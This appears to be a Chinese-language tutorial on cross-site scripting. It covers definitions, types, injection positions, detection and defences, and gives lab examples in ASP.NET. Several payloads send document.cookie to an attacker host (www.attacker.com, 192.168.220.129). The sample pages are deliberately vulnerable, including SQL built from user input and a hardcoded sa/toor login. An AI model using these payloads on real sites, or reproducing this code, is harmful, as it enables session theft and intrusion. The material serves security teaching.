一、說明
我說我不理解為什么別人做得出來我做不出來,比如這里要說的XSS我覺得很多人就不了解其定義和原理的,在不了解定義和原理的背景下他們可以拿站,這讓人怎么理解呢。那時我最怕兩個問題,第一個是題目做得怎么樣第二個是你能拿站嗎。好吧這兩個我都不行,從而我的滲透能力被認為是孱弱的,我自己也認為我的滲透能力是孱弱的。
在我孱弱的滲透能力中,XSS是算我掌握得最好的,那是因為在入侵檢測課程中我們小組被分配到了演示說明XSS的任務,不明真相加厚顏無恥的組員都把自己當大腿然后瀟灑去了。沒有別的選擇只能硬上。
現在回頭看的話概念上確實算理解得比較好,但XSS的注入到的具體位置沒有細分和防御方法還沒涉及到。
?
二、XSS定義
XSS,全稱Cross-Site Scripting由于CSS已被層疊樣式表所用所以簡寫只能退而使用讀音相近的XSS,中文名跨站腳本攻擊。
跨站----跨越不同網站。比如www.baidu.com和www.qq.com。
腳本----基本指JavaScript,當然要追究還有微軟的JScript等其他一些web腳本語言
跨站腳本----綜上,就是跨越不同網站的JavaScript腳本。
跨站腳本攻擊----使用跨越不同網站的JavaScript腳本進行的攻擊。很多人并沒有在意“跨站”的意思,或者是注意了但是不能理解:寫個<script>alert(1)</script>怎么和跨越不同網站的JavaScript扯上關系呢?結合CSRF的名稱和利用形式,推測XSS的跨站指的是其主要利用方式----使用JavaScript代碼將cookie傳到了其他網站上,比如'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>,cookie被從本站傳到了www.attacker.com。
?
三、XSS形成原因
XSS形成的原因是:系統將用戶輸入不加過濾(或有過濾但不足)地寫入到<html></html>標簽內。
“寫入到<html></html>標簽內”這幾個詞理解要注意以下幾個點:
一是是寫入到<html></html>標簽內而不是其他位置,如果寫入的是響應頭那會造成的是http頭部注入等問題而不會引發XSS。
二是只要是寫入到<html></html>標簽內無論什么位置基本都辦法實現XSS(當然可能寫入不同位置利用方式會有些差異我們后邊會講到),所以我們去看AWVS等工具其掃描原理基本都是如果在響應中看到自己提交的包含特殊字符的內容就會判定為存在XSS。
三是只要“寫入到<html></html>標簽內”,并不限定是寫入當前請求的response的<html></html>,還是后面其他請求的response的<html></html>;如果寫入的是當前請求的response的<html></html>那就是反射型XSS,如寫入的是后面其他請求的response的<html></html>那就是存儲型XSS。(另外也因為掃描器一般都是查看當前request的response是否有request的內容來判斷XSS所以掃描器一般只能掃反射型XSS不能掃存儲型XSS)
?
四、XSS類型
DOM XSS----用戶輸入沒有提交到服務器,只是被前端js接收并顯示所引起的XSS。
Reflected XSS----用戶輸入被提交到服務器,服務器將用戶輸入寫入本次請求的response的<html></html>內引起的XSS。
Stored XSS----用戶輸入被提交到服務器,服務器將用戶輸入寫入到非本次請求的response的<html></html>內引起的XSS。
我們來說明以下兩個問題:
第一個是為什么要從Reflected XSS中分離出DOM XSS。就表現形式看DOM XSS和Reflected XSS都是反射(一個是前端js反射一個是后端服務器反射),所以最開始只有Reflected XSS。但后來人們發現在服務器端添加的轉義防護代碼并不能處理DOM XSS,所以DOM XSS被分離了出來。
第二個是Reflected XSS和Stored XSS到底有什么區別。我覺得Reflected XSS不存數據庫Stored XSS存數據庫、Reflected XSS影響一個人Stored XSS一定程度上會阻礙人們對XSS的檢測和理解。誰說Stored XSS一定存數據庫存xml不可以嗎存會話變量不可以嗎?誰說Stored XSS一定影響所有人如果只是寫入用戶自己才能看到的頁面那怎么影響所有人?所以我們可以認為Reflected XSS和Stored XSS只有“本次請求的response”和“非本次請求的response”區別,其他沒有區別。
?
五、寫入到不同位置的討論
XSS形成的原因是:系統將用戶輸入不加過濾(或有過濾但不足)地寫入到<html></html>標簽內。而<html></html>標簽內有不同的成分,當寫入位置不同時攻擊方式和防護方式都有些差別,我們對其加以討論。
以下列表整理自德丸浩的《Web應用安全權威指南》(理論上<html></html>內的內容還有<style>的css)
寫入位置 | 位置示例 | 攻擊載荷 | 攻擊結果 | 說明 | 防護 |
元素內容 | <div>寫入到這里</div> | <script>alert(1)</script> | <div><script>alert(1)</script></div? | 常規攻擊 | 轉義<>& |
屬性值 | <input value="寫入到這里" /> | " οnmοuseοver="alert(1) | <input value="" οnmοuseοver="alert(1)" /> | 給標簽插入新屬性 | 轉義<>&" |
屬性值(URL) | <a href="寫入到這里"></a> | javascript:alert(1) | <a href="javascript:alert(1)"></a> | href和src雖然也是屬性但可多使用javascript協議 | 禁止外部網站url |
事件綁定函數 | <body οnlοad="init('寫入到這里')"></body> | ');alert(1)// | <body οnlοad="init('');alert(1)//')"></body> | 函數執行完后會執行alert(1) | 轉義\'"和換行 |
<script></script>內 | <script>寫入到這里</script> | </script><script>alert(1) | <script></script><script>alert(1)</script> | 閉合前邊的<script>標簽使在其中的過濾語句失效 | 轉義<> |
?
?
?
?
?
六、XSS檢測辦法
在上面我們說到XSS形成的原因是:系統將用戶輸入不加過濾(或有過濾但不足)地寫入到<html></html>標簽內。
所以檢測方法就是:
第一步,找出可以讓用戶輸入并在本次請求的html代碼中(反射型)或隨便點擊看擊有沒有出現在其他界面中(存儲型)回顯的位置;
第二步,在這些位置輸入<script>alert('1')</script>到回顯位置看有沒有彈框;
第三步,如果沒有彈框,那查看html代碼看是標簽沒配對好還是有什么服務端做了什么過濾,看該怎么配對好或繞過過濾。
?
七、各類型XSS攻擊舉例
以下示例中我們假設:存在xss的網站部署在192.168.22.128,攻擊者用戶接收cookie的網站部署在192.168.22.129.
7.1 DOM XSS攻擊舉例
現有存在http://192.168.220.128/domxss.html頁面代碼如下,其本意是點擊顯示我的ID時從URL中讀取其ID并顯示:
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><script>function c_show() {var userIDv = decodeURIComponent(document.URL);var pos = userIDv.indexOf("userID=") + 7;var userID = userIDv.substring(pos, document.URL.length);document.getElementById("div_id").innerHTML= userID;} </script></head><body><div>這是測試基于DOM的XSS的domxss.html頁面</div><br /><input type="button" id="bt_showID" onclick="c_show()" value="顯示我的ID" /><span id="div_id">你的ID是:</span></body> </html>
攻擊者將以下鏈接通過(qq/郵箱/論壇等)發給用戶以下鏈接(URL加密后):
http://192.168.220.128/domxss.html?userID='<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>'
用戶看到鏈接點擊后,直接點擊“顯示我的ID”按鈕,其192.168.220.128網站的cookie即被發送到192.168.220.129上。
?
7.2 Reflected XSS
現存在http://192.168.220.128/reflectxss.aspx頁面,內容如下:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="reflectxss.aspx.cs" Inherits="WebApplication1.reflectxss" ValidateRequest="false" %><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head runat="server"><title></title><link rel="stylesheet" type="text/css" href="style.css"/></head><body><div>這里是測試反射型XSS的reflectxss.aspx頁面</div><br /><br /><form id="form1" runat="server" method="get"><span>請輸入測試內容:</span><input type="text" name="i_input" style="width:70%"/><input type="submit" value="確認"/><br /><br /><asp:Label ID="Label1" runat="server" Text="你輸入的內容是: "></asp:Label></form></body> </html>
對應http://192.168.220.128/reflectxss.aspx.cs內容如下:
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls;namespace WebApplication1 {public partial class reflectxss : System.Web.UI.Page{protected void Page_Load(object sender, EventArgs e){if (IsPostBack){Label1.Text = Request.QueryString["i_input"];}}} }
其本意就是在頁面中回顯一下用戶輸入
而如果此時攻擊者將以下鏈接通過(qq/郵箱/論壇等)發給用戶以下鏈接(URL加密后):
http://192.168.220.128/reflectxss.aspx?__VIEWSTATE=/wEPDwUJMTc5MzM3ODgyDxYCHhNWYWxpZGF0ZVJlcXVlc3RNb2RlAgFkZE32U7BOunDRlUOFNbpK59/SbNaMfZu80qolEvzQ9JdP&__VIEWSTATEGENERATOR=F392050A&i_input=<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>
用戶看到鏈接并點擊訪問后,其192.168.220.128網站的cookie即被發送到192.168.220.129上。
?
7.3 Stored XSS
現存在http://192.168.220.128/storagexss.aspx頁面,內容如下:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="storagexss.aspx.cs" Inherits="WebApplication1.storagexss" ValidateRequest="false"%><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"><title></title><link rel="stylesheet" type="text/css" href="style.css"/> </head> <body><form id="form1" runat="server"><div>這里是測試存儲型XSS的storagexss.aspx頁面</div><br /><div class="showcontent"><div>留言內容:</div><asp:Label ID="Lb_content" runat="server" style="width:90%"></asp:Label></div><div class="inputcontent"><div >請輸入測試內容:</div><asp:TextBox ID="t_content" runat="server" Width="99%" Height="370" TextMode="MultiLine"></asp:TextBox><br /><asp:Button ID="bt_sub" runat="server" Text="確定" style="float:right" OnClick="bt_sub_Click"/></div></form> </body> </html>
對應http://192.168.220.128/storagexss.aspx.cs內容如下:
using System; using System.Collections.Generic; using System.Data.SqlClient; using System.Linq; using System.Threading; using System.Web; using System.Web.UI; using System.Web.UI.WebControls;namespace WebApplication1 {public partial class storagexss : System.Web.UI.Page{// 此函數用于載入頁面時從數據庫讀取所有留言protected void Page_Load(object sender, EventArgs e){SqlConnection conn1 = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");conn1.Open();SqlCommand cmd1 = new SqlCommand("select * from t_content",conn1);SqlDataReader result = cmd1.ExecuteReader();if(result.Read()) {Lb_content.Text =(String)result["t_content"];}conn1.Close();}// 此函數用于留言者發表留言時將留言存入數據庫protected void bt_sub_Click(object sender, EventArgs e){SqlConnection conn = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");conn.Open();SqlCommand cmd = new SqlCommand("update t_content set t_content='" + t_content.Text + "'", conn);cmd.ExecuteNonQuery();conn.Close();Page.Response.Write("<script>alert('留言發表成功!');</script>");}} }
該頁面就是輸出所有用戶留言和保存用戶留言
此時攻攻者先留言<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>
用戶再訪問該頁面時其cookie就會被發送到192.168.220.129上
?
八、XSS的防護
XSS主要是用來獲取cookie的而且方式都是‘http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>這類型式,只要將cookie設置為httponly這種辦法就不能成功。
但一是因為還是可以彈框所以老板或客戶可能對httponly并不放心二是XSS本質是注入script代碼script能做的事理論上他都能做(比如蠕蟲)所以統一對<>&'"進行html實體轉義也應采取。
?
參考:
德丸浩-《Web應用安全權威指南》